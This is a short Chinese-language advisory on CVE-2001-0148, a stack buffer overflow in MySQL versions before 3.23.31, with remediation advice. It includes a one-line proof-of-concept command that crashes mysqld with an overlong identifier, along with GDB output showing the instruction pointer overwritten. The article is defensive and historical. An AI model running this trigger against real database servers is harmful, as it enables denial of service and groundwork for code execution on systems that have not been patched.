MySQL 3.23.31 之前版本緩衝區溢位漏洞（CVE-2001-0148）詳解與修補

這是一個經典的遠程代碼執行漏洞，影響所有 3.23.31 之前 的 MySQL 版本。攻擊者只需合法帳號密碼，即可透過超長查詢字串觸發堆疊溢位，取得 mysqld 進程權限（通常為 root/mysql 使用者），進而完全控制資料庫伺服器。

漏洞復現步驟（歷史記錄）

1. 終端機 1 啟動 MySQL：/sbin/init.d/mysql start
2. 終端機 2 執行攻擊指令：

   mysql -p -e 'select a.'`perl -e'printf("A"x130)'`.b'

3. 終端機 1 顯示 Segmentation fault，mysqld 重啟。

GDB 分析證據

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
...
eip 0x41414141 0x41414141

EIP 被覆寫為 0x41（'A'），證明緩衝區溢位可控制指令指標。

根本原因

MySQL 解析查詢時，對識別符長度缺乏邊界檢查，導致堆疊緩衝區溢位，攻擊者可注入 Shellcode 劫持執行流。

修補方案

唯一有效修補：升級至 3.23.31 或更新版本。

• 官方已修補該漏洞並發布新版。
• 無官方修補補丁，舊版本必須升級。

緩解措施（若暫時無法升級）

• 嚴格限制資料庫帳號權限，最小權限原則。
• 防火牆限制 3306 連線來源 IP。
• 監控異常長查詢與 Segfault 重啟日誌。

歷史教訓：資料庫層面的緩衝區溢位同樣致命，保持版本更新是第一防線。